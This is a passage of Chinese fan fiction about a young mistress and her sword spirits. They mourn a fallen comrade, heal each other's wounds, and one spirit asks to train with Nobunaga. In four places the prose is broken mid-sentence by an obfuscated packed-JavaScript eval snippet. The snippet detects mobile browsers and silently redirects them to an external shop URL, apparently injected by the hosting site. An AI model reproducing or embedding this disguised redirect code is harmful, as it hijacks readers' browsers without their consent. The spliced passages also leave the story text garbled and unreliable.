夜子怔住了,几乎忘了呼吸。 直到长谷部猛地扑上来挡在她前方,护住她的肩,将她拉到怀里,她才后知后觉地回过神。 “主……人……”长谷部的声音还在发抖,浑身都是冷汗,似乎比刚才那一击还要紧张。肩口的伤口血已经染透衣物,血腥味刺鼻。 夜子抬起手,哑着声音,“长谷部,你受伤了……”她抬起手抚摸他的面颊,拭去他额角流下的血迹。 “没关系。”长谷部紧紧抱着她,低下头压住快失控的呼吸,“只要主人平安无事就好。” “主人没事吧?”宗三这时才赶到,站在两人旁边,深色匆忙,脸上沾满了血污。 宗三抵达时几乎是踩着血迹冲过来的,他脸上的血痕还未干,眉间却因为担忧深深拧着,“主人没事吧?” 夜子抬头,看到他那副狼狈又焦急的模样,不由得怔了一瞬。若不是他身上已没有暗堕时的骨刺与雾气,且身上和她一样多数只是一些擦伤,她几乎会误以为又回到了初见他的那一刻。 只是这一次,他是为了她才染成这样。 “我没事。”夜子摇头,压下心脏仍在怦怦直跳的余悸,目光缓缓落在溯行军消散的地方,“那边的是刀的碎片吗?” 长谷部当即走在最前,谨慎地蹲下身,伸手捡起一块碎片。刀锋像是对他的血特别敏感,锋刃刚触及,他的指尖便被划开,血珠顺着碎片滑落。 夜子看着他,“你认得出来吗?” 长谷部沉默了数息,才低声道:“这是加州清光,和我们出自同个本丸。” 他指尖摩挲着那片染血的碎刀,神情一瞬间比战斗中更沉寂。 就连宗三也沉默了很久,本就忧郁的眼神此刻更加黯然。 夜子犹豫了一下,“长谷部,你和加州先生是很重要的同僚吗?” 令人意外的是长谷部垂下眼睫,轻轻地摇头,“不,我们甚至没说过几句话。 “加州清光是我第一位审神者的初始近侍。”他开口了,“我被锻出不久后,一来到本丸便看到他站在审神者身旁。” “审神者是个温和的人。”长谷部轻声道,“他握着拐杖,看着加州清光时,就像在看自己的孙子一样。”嘴角似乎扬起想笑却压住的弧度。 “加州当时和我说:‘你以后就是我们家的刀了。别看我这样,我可是会照顾新人的前辈喔?’” 夜子没见过加州清光,却从他讲述的回忆中窥见几分鲜明的性格。 轻快、明朗、带点撒娇似的自傲。 “审神者年岁已高,身体不好,很多工作是清光在撑着。”他指注视着碎刀,“直到我到来之后。” 夜子想起长谷部曾经说过自己很熟悉近侍的职责,心里有了一些猜测,“后来近侍的位置换成你了?” “是。”长谷部点头,“我被锻出后,本丸的运作逐渐变得繁重。老爷爷考虑到加州清光太过勉强自己,才把近侍之位交给了我。” 夜子心口微紧,“清光先生,他会难过吗?” “他当然会。明明嘴上笑着说终于不用每天跑断腿了,结果当天晚上,我就看到他偷偷坐在廊下,抱着自己的刀鞘发呆。” “其实我们之间并没有什么深刻的交集,”他轻声笑了一下,那笑却带着微不可察的苦涩,“那时我也没主动过去和他说话。” “可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16875527|191886||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在意识到他碎刀后……” 夜子说出了他的心里话,“你还是感到悲伤,对吧?” 长谷部怔了一瞬,终究顺从自己的内心点头,苦笑着,“很奇怪吧,明明跟在第二位审神者上任后,我们就已经在不断地失去同伴。” 他垂下眼,语气近乎喃喃,“我们就像被迫习惯一样,但无论经历多少次,我始终无法麻木。” 刀剑付丧神本应无知无觉,但与之相反的是他们却会为每一位同伴的死而悲痛。 夜子看着他低垂的神情,轻轻走上前,抬手先摸了摸他的头顶,又缓缓将他拥进怀里。 长谷部僵住了,仿佛被什么击中一般,呼吸乱了半拍。 “……哈……”他低声吐气,像是终于承认了自己无法伪装的疲惫与不安,“主……人……” 在怀抱中,他那一向严守的纪律和自制全都裂开了,露出那个只有夜子能看到的脆弱一角。他指尖微微蜷起,像是怕自己抓得太用力,却又舍不得松开。 夜子轻拍他的背,默默安抚着。 待到所有人都平复好情绪后,他们才继续开始讨论。 “原来如此,难怪我刚才会觉得他的灵力很熟悉。”宗三的眉心皱得更紧,不愿面对的结论正一步步成形,“但是……” “这只鬼的本体是大太刀,也就是说他并不是身为打刀的加州。”他眼里混杂着疑惑,“按理来说,出现的碎刀应该是那振大太刀,为什么会出现加州清光的碎刀?” “如果是因为加州被本体为大太刀的溯行军吸收了,那为什么加州的碎片会在鬼死后出现?而不是被吸收殆尽?” 宗三话没有说完,却在这一刻与长谷部对视。两人眼神交错,仅仅一个瞬间,便确认了对方心中也有同样的猜测。 夜子屏住呼吸看着他们,心跳莫名加快,“长谷部?宗三?发生什么了?” 长谷部沉沉地吐气,“应该是因为情况紧急,这个溯行军没有来得及将重伤的加州清光分解,就直接吸收了他。” 宗三接过他的话,声音隐隐带着哀意,“所以溯行军继承了他的部分情感。” 长谷部继续说下去:“加州清光最大的执念是大和守安定。” 宗三低头,看着地上那振完好的大和守安定,“所以他一直在找大和守。” 夜子喉咙发紧,“那这振大和守是?”她拿起完好无损的打刀,上面只沾了一些尘埃。 “不是我们本丸的那一振。”长谷部立刻道,语气深沉,“我们以前本丸的大和守安定已经碎刀了。” “溯行军将他也杀了,但不知道为什么,没有吸收。”宗三蹲下,从碎片中挑出另一块碎片。这才是和他们出自同个本丸、真正被杀害的那一振大和守安定。 或许是因为加州清光的意识占据了主导,阻止了溯行军吸收大和守安定? 也许他最后的最后,仍然在守护他最重视的同伴。 然而溯行军已彻底消散,他们所认识的加州清光和大和守安定也早已碎刀,这些猜想永远无法得到答案了。 在他们的注视中,长谷部手中握着的碎刀也如同方才的溯行军一样消失。 31. 治疗 夜子蹲下身,目光迅速从长谷部与宗三的伤口扫过。二人虽然还能站立,但破损处渗出的灵力如同淡淡的雾,让她心里一紧。 “你们先别动,我现在就为你们手入。”她抬手,准备为他们疗伤,却在下一瞬间被长谷部稳稳按住了手腕。 “主人,不行。”长谷部的声音依然恭敬,却比平时多了几分坚决。 “这里太危险。”宗三也走上前一步,表情凝重,“那只鬼虽然消散了,但周围的气息还未完全散去。若还有同类靠近,主人将陷入险境。” 夜子怔住。她知道他们说得有道理,可看着两人身上那些深深浅浅的伤口,心里仍不由得揪紧,“可你们伤成这样——” “我们还能行动。”长谷部截住她的话,他微微弯腰,像是在恳求,却又固执得无法撼动,“请至少让我们护您回到城里,手入到那里再进行也不迟。” 宗三也在一旁轻声补充,“我们不会在主人身边倒下的。现在最优先的是让您安全离开。” 夜子抿紧嘴唇,指尖还因刚才被阻住而微微发麻。她看着两人明明伤痕累累,却仍然以她的安危为第一顺位。 她的心软得像被什么轻轻触动。 “好。”她终于妥协,声音坚定,“那我们回城里再处理。但你们两个,一步都不许离开我。” 长谷部明显松了口气,神色却愈发认真:“遵命。” “绝不会再让您受惊。”宗三低声保证后,目光落向夜子怀中的那振大和守安定。他犹豫了半秒,却还是开口:“若是能有多一个人在,或许战斗会轻松许多。” 他抬眼望向夜子,语气温和却带着恳切,“主人可以先唤醒大和守。” 夜子愣了一瞬,随即明白他的担心。两人都受了伤,还要护着她。若多一振打刀帮忙巡警,也确实能减少风险。 她点点头,“好,我试试看。” 夜子双手捧起大和守安定的刀身,打刀的重量贴在掌心。她深吸一口气,将灵力缓缓注入刀身。 空气微微震动,灵光像是要浮现,刀刃边缘隐隐泛出一点薄光,但下一瞬光芒就消散了,刀身也静静躺着,毫无反应。 “唤醒失败了。”夜子缓缓收回手,呼吸轻颤。她已经不是第一次召唤,因此能够察觉到这种完全没有回应的沉寂绝不正常。 长谷部与宗三同时皱眉。 宗三上前一步,手指指腹轻触刀身,感应片刻后低声开口,“是溯行军残留的气息影响了他。”他声音低沉,“他现在完全无法化形。” 长谷部也沉下眼眸,手指微微收紧,“而且,这股浑浊气息逼得他几乎接近暗堕。” 夜子忍不住抓紧刀身,“那怎么办?继续这样下去,他会——” 她没有说完,但三人都明白那后果有多严重。 宗三抬眼望她,“主人将它放在身边一段时间吧。您的灵力最为稳定,也最适合净化他。” 长谷部也点头附和,“若能持续沐浴在主人的灵力之下,至少不会继续恶化。” 夜子想起药研似乎也这么说过,她的灵力充沛温和,是刀剑们最容易接受、最能安抚的那种。即使在遇见他们之前,她从未察觉过这一点,但现在她真心庆幸拥有这种力量。 宗三轻轻推了推刀鞘,让其更贴近她的怀抱,“现下敌情未稳,让主人多一振佩刀在身,也更安心一些。” “好。”她轻声道,小心地将刀抱得更紧,“那他先跟着我。” 宗三似乎松了口气,嘴角不易察觉地柔和,“他会好起来的,主人。” 回去的路上没有再遇到任何溯行军,他们一路沉默,却都明显放松下来。回到房间的瞬间,众人齐齐冲了过来。 “大将!你们没事吧?!” “这么多血……是不是遇上溯行军了?!” “需要复仇……” 短刀们尤其紧张,每个人都团团围住他们,有的抓住她的袖子,有的仰头盯着她,甚至还有两个直接抱住了她的大腿。烛台切也是一脸担忧地看着他们。 夜子连忙抬手安抚,声音温和得尽量不让他们更紧张:“我没事,我真的没事。”看着他们一个个急得眼睛都湿了,她心里涌起一股暖意。 他们明显还是不放心,她只好苦笑着,一个个摸摸头、揉揉发旋。 “只是遇到鬼而已,”她耐心地解释,“但长谷部和宗三都很厉害,已经把鬼斩除了,所以真的不用担心了。” 短刀们的肩膀总算松了一点,但仍旧死死盯着她,仿佛她下一秒就会倒下似的。 夜子转头看向长谷部时,表情立刻变得严肃,“不过长谷部伤得最重,我得马上给他手入。” 长谷部原本挺拔的姿态微微晃了一下,被血染得深色的衣袖甚至还在往下滴血,可他仍保持着没事的表情,只是夜子一眼就能看出他只是硬撑。 正当她准备上前时,白山却率先一步,“检测到重伤人员,即将开始治疗。”而短刀们自动让出一条路。 夜子愣住了,惊讶地看向他。 “白山是剑,更贴近神的系谱,拥有治愈的能力。不过只能治愈重伤者。”信浓开口替白山补充说明,“长谷部就交给他,宗三的话要麻烦主人了。” 夜子恍然明白,轻轻点头:“原来如此,那就有劳白山了。” 白山认真地点头,“接受命令。” 见长谷部那边有白山负责,夜子也总算放下心来。她深吸一口气,让心神从混乱的战斗情绪中抽离,转而专注地走向宗三。 宗三安静地坐在榻上,外袍松松垮垮地落在身侧,露出的刀身上有些浅浅的划痕。 夜子语气温柔,“宗三,把手给我。” 宗三睫毛微颤,指尖僵了半秒,才缓缓抬起手。掌心的伤口深浅不一,似乎已经处理过,却仍能看到溯行军留下的暗色痕迹。他一直保持着淡然的神态,此刻却明显颤了一下。 夜子立刻将他的指尖包在掌心里,温度在接触瞬间流向他冰凉的手,“很痛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16875528|191886||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吗?” 他本能想否认,唇角刚扬起,想维持那份一贯的优雅,却被她认真、带着担心的眼神牢牢禁住了。宗三轻轻垂下头,不认输地说出实话,“有一点。” 虽然是刀剑,但不意味着不会受伤,也不意味着不会疼。 夜子心里一紧,“都是我的错。”她声音压着自责,“谢谢你们保护我。” 宗三忍不住轻笑,笑意里有温柔也有几分疲惫,“这是我们该做的。主人无须道歉。” 她开始以灵力修复裂痕时,伤口周围立即泛起亮光。灵力像细微的暖流渗入刀身,宗三的肩膀骤然一缩,指尖下意识收紧。那种被净化时的刺痛感,让他呼吸轻轻颤抖。 夜子立刻停下,眼中满是担忧,“痛吗?我可以慢一点。” 宗三摇头,不敢看她的眼,只是垂着睫毛,声音低得几乎被呼吸淹没,“主人这样对我,我反而不知该如何是好。” 他低低笑了一声,却带着明显的自嘲与无处安放的脆弱,“明明暗堕时的伤口比现在还多,都咬牙忍着。现在只是轻伤,却在您面前……” 想示弱。 想被安慰。 想被允许依赖。 他从未意识到自己是如此贪心的人。 夜子伸手,轻轻触上他的侧脸,而宗三浑身一滞,像是因为得到温暖而不知所措,“宗三,你不用一直逞强。” 他缓缓抬起眼,压抑的依赖、不安、以及终于被触碰到柔软之处的无措都展示在她面前。他微微靠前,像是被她的温度牵引,“如果……只有在您面前能示弱……” 宗三慢慢握住她的手,指尖轻到像怕弄痛她,“那便再好不过了。” 夜子心跳重重地跳了一下,几乎没能控制住声音的轻颤,却仍然温柔坚定,“那你以后都可以。” 宗三怔了一瞬,像是终于得到了从未奢望的许可。他缓缓地靠向她的肩,额发轻轻蹭过她的颈侧,声音低低的,“是,主人。” 而不远处的长谷部,则正被白山治愈着。 白山的双手轻轻覆在他的刀身与裂痕上,长谷部肩膀明显一震,青筋从颈侧悄悄浮起,他咬紧牙关,却什么声音都忍住没发出。 他的眼睛完全没盯着自己的伤口,而是直直落在不远处的宗三与夜子身上。夜子正温柔地替宗三手入,宗三靠在她肩上,神情安宁得近乎幸福。 长谷部的眼眸微微发暗,手臂又僵硬了几分,“我可以去找主人吗?”他终于忍不住低声问出一句,语气礼貌,却带着压抑不住的咬牙切齿。 白山依旧面无表情,“治疗进行中。” 长谷部:…… 旁边的信浓叹了口气,义无反顾再次担任起白山翻译机,“不可以哦,白山的意思是现在还在治愈,你不能随便乱走。” 白山点头,非常认真地附和了他的解释。 长谷部嘴角抽了抽。 他才不是想乱走,说起来有些难以启齿,他只是想让主人亲自替他手入。 32. 小伤 长谷部的话还没说出口,药研已经无比冷静地接上,“主人很累了吧?既然你的伤势白山能治,就不要再让主人为难了。” 长谷部呼吸一滞,嫉妒让他把最重要的事忽略了,甚至还想在宗三那里得到主人照顾的同时,也争一份回来。 “你说得对,主人需要休息。”他缓缓低下头,声音低得像在忏悔,“是我唐突了。” 他紧攥成拳的手慢慢松开,“真是失职,不仅没能保护好主人,还让主人担心,甚至差点麻烦到她。”他苦涩地叹了口气,“我……实在是……” 信浓轻轻拍了拍他肩,“好啦好啦,白山治完你就能去见主人了。” 白山也点头补一句,“会很快。” 长谷部抬起眼,看向那边夜子温柔地抚着宗三侧脸的动作,胸口又闷又酸,“是。”他低声道,“我会好好等待。” 过了片刻,白山松开手,往后退了一步,“治愈完成。” 长谷部立刻撑起身子,动作快得像准备冲上去,却在最后一瞬间生生停住,“白山,多谢。” 白山有些怔愣,这还是他第一次收到别人的道谢。 毕竟在以前的本丸,审神者将他视作珍贵的剑,更多是作为炫耀品,是摆件。 至于治愈?那是会消耗气力的事,没人想让他做。 连治疗信浓都是在一期一振一次又一次的恳求下,审神者才勉为其难地同意。 后来,他和信浓被丢去高级合战场,名义上说是找个僻静处让白山治疗,实际上审神者只有给他塞了时空传送器,却没有准备信浓的份。 意思再明显不过。 他想让白山自己回来,把信浓丢下。 白山看着长谷部认真的模样,脑袋微微歪了一下,不习惯的温暖有点不知往哪放。他判断许久才木讷回答,“经过判断,不用……客气。” 长谷部露出一个笑容,目光立刻追向那道纤细的身影。 宗三坐在夜子身侧,一贯的忧郁表情被主人的温柔冲淡成了浅浅的柔和。小夜正拉着宗三的手,还认真地嘱咐他不要乱动。 整幅画面看起来意外地温馨,甚至…… 像一家三口。 长谷部:………… 不对不对不对!他怎么能这么想?!这不是给自己添堵吗?! 长谷部抬脚,默默收了那份酸意,走近时步伐很轻,“主人。”他站在她面前,背挺得笔直,像生怕自己靠得太近会冒犯,“我已经没有大碍了。” “太好了,”夜子抬头,看到他那瞬间眼神真切地松了口气,“你刚才伤势那么重,我真的很担心。” 长谷部低下头,耳尖微微红了,“让您担心是我的错。” 宗三坐在一旁,淡定地露出胜利者的微笑。 长谷部一抬眼,正好撞上那抹笑。 宗三轻轻偏头,嘴角微微扬起,无声却唇形清晰,“我刚刚靠在主人肩上哦,你错过了。” 长谷部的青筋立刻跳了一下。 夜子立刻察觉到两人之间的微妙气氛,像暴风雨前的静默。 她:“……你们两个怎么了?” 宗三立刻恢复无害姿态,“没什么,主人。” 长谷部也迅速正襟危坐,“我无事。绝无异议。” 可两人的眼神已经在空气里交手三百回合。 看着难得像以前在本丸一样较劲的两人,药研即是欣慰,又是头疼。 你们争风吃醋能不能看一下场合?没看到小夜的困惑都快飘出脑袋了吗?怎么在自己弟弟面前还表现出那么幼稚的模样? 他只能主动出声缓解紧张气氛,更何况这也是他道歉的好时机。 他深吸了一口气,声音比平常更低更沉,“主人,对不起。” 夜子愣了一下,转头看他。 少年垂着眼,肩膀微微发紧,指尖在刀柄上抖了一瞬,压抑已久的愧疚终于露出的缝隙。 “这次远征是我提议的,”药研艰难地开口,眼神落在地上,“才会让大家遇到危险。”语气里明显的失落与自责。 “这不是你的错。”夜子立刻摇头,“这里情况太特殊了,不像你们以前待过的地方。谁也没料到会发生这样的情况。 “要真说起来,应该是我。”夜子轻咬了下嘴唇,有些不好意思却仍然坦率,“我没有武艺,还坚持要跟着远征。也是我下达的指令,你们才会受伤。” 药研猛地摇头,但夜子已经继续说下去,“而且,之前药研和烛台切也是主动选择参加更危险的出征。” 说到一半,她似乎突然想起什么,眼睛亮了一点,轻轻扬起自己腰间的打刀,“而且药研的提议是有用的。” 她小小骄傲地扬眉,将那刀稍微举高让众人看见,“看,我们捡到了一振大和守安定。” “诶?真的是大和守先生!”短刀们立刻凑过来,眼睛亮晶晶。 烛台切也温柔地问:“主人不打算召唤他吗?” 夜子叹了口气,“其实我尝试过了,但失败了。” 长谷部上前一步,语气沉稳地解释,“大和守待在溯行军身边太久,导致他无法化形。” 宗三补充道:“所以我建议主人先将他带在身边,用灵力净化他。” 药研也点头认可,“这的确是目前最稳妥的办法。” 短刀们松了口气。 药研在众人的视线中重新抬起头,眼中那层沉甸甸的愧疚终于被冲淡。而夜子也悄悄松了口气,她知道药研把每一份责任都背得很重。 她认真地说:“所以,不要再责怪自己了,好吗?” 药研看着眉眼弯弯的她,神情也不自觉地变得温柔,轻轻点了点头。 夜子正想再说些什么,指尖却突然轻轻一颤,先前的擦伤又被风吹得微微刺痛。下意识倒吸一口气的动作虽小,却被药研敏锐地捕捉到。 他眉心一紧,整个人瞬间从被安慰者切换回照顾主人的角色,“主人,您的手……”他低声提醒,语气里带着明显的担忧。 夜子连忙将左手藏到身后,像做错事的小孩般心虚地笑了一下,“啊,这个啊……没事的,只是小伤。” 但她这样越掩饰,短刀们就越露出主人在骗人的表 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16875529|191886||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情。 她的声音越来越轻,“而且也不是惯用手,真的没关系。” 药研叹了口气,声音里藏着一点点无奈,“主人一直都这样,只会顾着大家。”他走上前,动作干脆得不容拒绝,“让我看看吧。” “药研哥是在战场上长大,所以颇有些医术上的心得哦。”信浓适时地替药研说话。 夜子下意识想往后缩,可众刃都已经默默盯着她那只手,目光齐齐落在她藏不住的小动作上,眼神里带着无声的控诉。 她只能乖乖伸出手,手上的伤口不深,但因为抱刀奔跑、躲避攻击时的摩擦,皮肤有些红肿与划伤。 药研凝视着伤口,神情比刚才还要严肃,“这怎么能叫没事?”他轻声念叨。 夜子被他的认真表情看得微微发怔,连宗三都忍不住轻声道:“主人,任由伤势恶化,可不是应该的行为。”他眼神低垂,带着微微的无奈与心疼。 长谷部则迈前一步,下意识就想表达自己的立场,“请让药研处理吧。我们不愿再看到主人受伤。” 话说到这里,他忽然停住,像被什么击中似的深深低头,眼神黯了下去,“都怪我无能,居然让主人受伤,我真是……” 他的声音越说越低,几乎沉入地面。 夜子也意识到了长谷部的精神状态有些危险,那种越说越自责、随时可能自我毁灭的趋势,她可太熟悉了。 这不就与她被药研阻止自杀的那天的情况如出一辙吗? “长谷部,看着我。”她赶紧伸手,轻轻按住长谷部的手腕,“大家都平安回来,就是最好的结果。” 长谷部僵硬的肩膀缓缓放松了些,然而他刚恢复正常,下一秒又被药研一句话迎头砸中。 药研蹲在夜子身旁看着她的手伤,轻轻吐出一句:“不过,现在最需要处理的,是主人的伤。” 长谷部:!!! 主人受伤这件事又被点名了。 他几乎要再次陷入无限自责,但在宗三的监视下只能极力忍住,站直身体,一动不动。而药研已经从医疗箱里取出药膏与纱布,开始替夜子上药。 “会有一点凉,主人忍着点。”他一边说着,一边用指腹轻轻抹开药膏,动作轻柔到不像是习惯战场的刀剑。 夜子原以为会痛,却只感受到细腻微凉的触感和药研的温柔。 “下次受伤要马上说。”药研低头处理伤口,“大家会担心。” 夜子眨了眨眼,有点不好意思,“嗯……我知道了。”被他捧着的那只手也跟着微微发烫。 她被他这份专注弄得怔住了。 近距离下,药研的睫毛很长,落下阴影时竟显得有些温柔得过分。 药研忽然抬眼,视线与夜子对上,“主人,别皱眉。我保证很快就好。” 夜子的脸红了一瞬,“我、我没有皱眉……” 药研轻轻笑了一声,“嗯,我知道。” 他替她包好纱布,绑得整整齐齐,确认不会松脱后才抬起头。 “好了,主人。”他站起身,露出一个安心的笑容,“这样就没问题了。” 33. 修行 夜子在睡梦中睫毛随着呼吸微微颤着,显得如此宁静。药研替她把被角轻轻掖好,指尖触到柔软的布料时,他的动作不自觉放得更轻,生怕打扰了她的美梦。 他停顿了一瞬,确认她依旧在安稳呼吸,才悄然收回手。他回头时,长谷部正站在房间外的阴影里,背挺得笔直,却压着一股明显的焦躁。 药研推门走到外面,夜里的风带着几分凉意。他关上门后,长谷部才像终于能呼吸般轻轻吐气。 “你是在考虑什么事吗?”药研开口,语气温和,却准确点破他的心事。 长谷部的肩膀明显一颤。 他没有立刻回答,只是低下头,手指无意识地摩挲着掌心。良久,他才沉声道:“宗三现在的实力几乎等同于极化,而我……” “我和他相比,还远远不够强大。”他轻笑了一下,笑意却苦得厉害,“没办法保护主人。” 话音刚落,宗三从暗处走来,“可是,最后解决溯行军的人是你。”他提醒道,“最后的真剑必杀做得很好。” 长谷部却摇头,下意识收紧拳头,拳头紧攥到指节发白,“若不是你之前重伤了他,我根本无法轻易解决。”他低声道,一字一句都像在责备自己,“说到底,还是我不够强大。” 他话里藏着的深深自责让宗三微微皱眉。 药研看着两人,忽然开口:“那就去修行吧。” “现在这个情况怎么修行?”长谷部抬头,眼神中流露出疑惑。 他们现在谁也没有时空传送器,没办法进行一般认知中的出阵和远征,更别说进行极化修行了。 恐怕连修行套装都找不到吧,毕竟现在他们也去不了万屋,能做的有限得几乎什么都不剩。 药研却像早有答案,语气平静得近乎轻描淡写,“倒不如说,现在这种情况才方便修行。” “修行一般就是重新回到旧主身边吧。”他指向远处信长所在的天守阁,“你跟着信长公一起出阵就行了。”他淡淡道,“现在,你只需要多走几步路。” 长谷部的眼角明显抽了一下,霎时间不知道自己该不该接受这个荒诞又合理的说法。 宗三也沉默了,像在心底赞同。 “虽然完全颠覆以往的认知,”长谷部深吸了一口气,肩背慢慢挺直,“但听起来好像确实有道理。” 药研点头,“你想变强的话,这是最快的方式。” 长谷部沉默半晌,仿佛终于做下决定,“如果为了保护主人,”他抬起头,手轻轻按上心口的位置,想保护主人的誓愿仍然灼热,“那我愿意试试。” 这就是夜子一醒来就见到长谷部在自己面前跪下的原因。 早晨的阳光刚刚从纸门缝隙间透入,而她一睁开眼,就看见一个背着光的身影端正跪在床前。 夜子:?!!! 但好在反应过来是长谷部,她又松了一口气。不对,好像也不是该放松的时候,为什么长谷部会跪在她床前,其他人没有来阻止一下吗? 褐发紫眼的男人跪得极其标准,背笔直得像被拉紧的弦,双手放在大腿上,指节却因为过度紧张而微微发白。 那画面让夜子几乎忘了呼吸,毕竟一醒来就看到自家刀剑付丧神跪在眼前,谁都得被吓到。 “长谷部……?”她下意识撑起身子,声音仍带着刚睡醒的软意。 长谷部抬起头,紫色的眼眸里带着沉重的决心,“主人。”他声音低沉,“我今天到来,是有要事相求。” 夜子的心跳因他严肃的态度而加快,微微坐正,“什么事?是发生什么了吗?” 长谷部深吸了一口气,将昨夜的全部念头都压进胸口。他深深低下头,几乎伏在榻前,“请允许我到那个男人身边进行极化修行。” 阳光正好落在他垂下的睫毛上,他跪得无比虔诚,一时间让人分不清他究竟是在宣誓,还是在请求赎罪。 长谷部继续开口,声音比方才更坚定,但暗藏着深深的渴望与不安,“我必须变得更强。”他抬起头,眼神认真得让人无法逃避,“只有这样,我才有足够的力量留在主人身边。” 他的指尖微微颤着,“昨夜的战斗让我深刻地意识到现在的我还不足以保护您。”保护作为主人的夜子是长谷部的执念和骄傲,却也是他最深的恐惧所在。 “宗三的力量已接近极化,我却仍然不够。”他难得地坦白自己的不足,声音沉重,“若继续这样,我反而会成为您的弱点。” 夜子望着眼前跪伏着的男人,心口像被轻轻揪住了一下。昨夜从溯行军出现后,她就注意到长谷部情绪上的细微变化。 那种紧绷的不安和深沉的自责。 他一定是整夜都没休息吧? 她在梦里安稳睡着,而他却在黑夜里不断反复咀嚼自己的无力,难怪他一大早就跪在这里…… 她心里不由得有些愧疚。 长谷部缓缓低头,“为了不再让您陷入危险,为了能够真正站在您身旁护住您。”他再一次伏低,语气坚定地重申自己的恳求,“主人,请允许我去信长公身边修行。” 这次甚至是难得地称呼了那个男人的名字。 夜子被他的心意深深打动,但同时也浮现出担忧,毕竟在她的印象里—— “这样不会困扰到你吗?”她忍不住轻声问,“毕竟信长大人是……天灾?”那是长谷部自己说过的形容词,她可记得清清楚楚。 长谷部:…… 他抬起头,有些咬牙切齿地道:“虽然很困扰。”他说得极其诚实。 夜子忍不住眨了眨眼。 “但是我会想办法克服的。”他挺直了背,声音比刚才更坚定,“为了主人,我都会想办法面对。” 他深吸一口气,“只要能变强,只要能保护您,就算是必须和那个男人待在一起,我也会去。” 药研靠在一旁,语气却很自然地接了上来,“而且这样正好可以借机接触不动。长谷部到信长公身边修行后,正好可以以此为由要走不动。” 夜子被他们说服了,轻轻吸了口气,理好被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16875530|191886||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子下的衣襟,坐直身体,“我明白了。”她抬起头,目光在两人之间掠过,然后轻轻点头,“那我们一起去见信长吧。” 长谷部瞬间抬头,像没想到她会主动提出。 夜子温声解释,“反正我也正好有事要找他。”她轻轻笑了笑,语气里没有丝毫责怪,只有体贴,“既然你要跟他修行,那我先向他说明情况也比较好。” “那就这么办吧。早点过去,信长公应该也醒了。”药研则轻轻松松地点头,“但是现在还有一件事要做。” * 信长正半倚在榻上,手里还随意晃着酒盏,明显没从清晨被叫醒的情绪里缓过来。他打了个懒散的呵欠,朝站在他面前的三人瞥了一眼,声音里满是毫不掩饰的嫌烦。 “所以你们一大早扰人清梦,就是为了说这件事?” 他的目光下一瞬就被某个画风完全不同的身影吸住。 长谷部头戴歪着的斗笠,脚踩像是随便踩两下就能散掉的草鞋,一身朴素得可怜的衣装更像是刚从田里干完活的农夫,而不是原来那个穿着神父服的男人。 信长眯起眼,语气完全不客气,“还有你那副打扮是怎么回事?”他往前倾了倾身,像是在仔细确认那斗笠是不是真这么糟糕。 缝隙大得像专门让阳光打进来的、边缘毛毛躁躁,一看就是新手手作、草鞋的草绳甚至有几根翘着,仿佛随时会脱线。 信长的眉毛都皱到一起了。 “这做工也太差了吧?”他毫不留情地点评,“缝隙大成这样,不仅挡不了雨,遮阳也做不到。你穿这种东西出门是想被晒死吗?” “这是主人给我编织的。”长谷部完全不让步,“自然是最完美的。”他挺胸抬头,声音坚定,而夜子在旁边羞赧得恨不得把自己埋进地板缝。 她几乎不敢抬头,只能微微缩在后方,脸红得像被蒸熟一样。 确实很糟糕。 那些缝隙大到能塞手指,草鞋走几步就可能散开。要不是药研轻声鼓励她,说长谷部会很开心,她根本不敢把这些灾难级手作拿出来。 她确实想为长谷部做点什么,只是她作为一个从小锦衣玉食的公主,怎么可能会编织这些? 时间又那么短,那根本不可能做得好。 她原本准备把这些当作失败品,然后向长谷部道歉,没想到他居然非常喜欢。 “这……难道是主人为我编织的吗……?”她还记得长谷部当时收到修行衣装时的声音轻得像梦中呓语,又像被天降恩宠击中的震颤。 她抬头时就见对方整个人都愣住了,眼神里涌着不敢置信的光。他双手紧紧抱着那套修行衣装,仿佛抱着世上最珍贵的宝物。 他的喉结上下滚动,声音带着前所未有的激动,“居然……是主人亲手编织……主人……” 啪——! 粉色花瓣无声炸开。 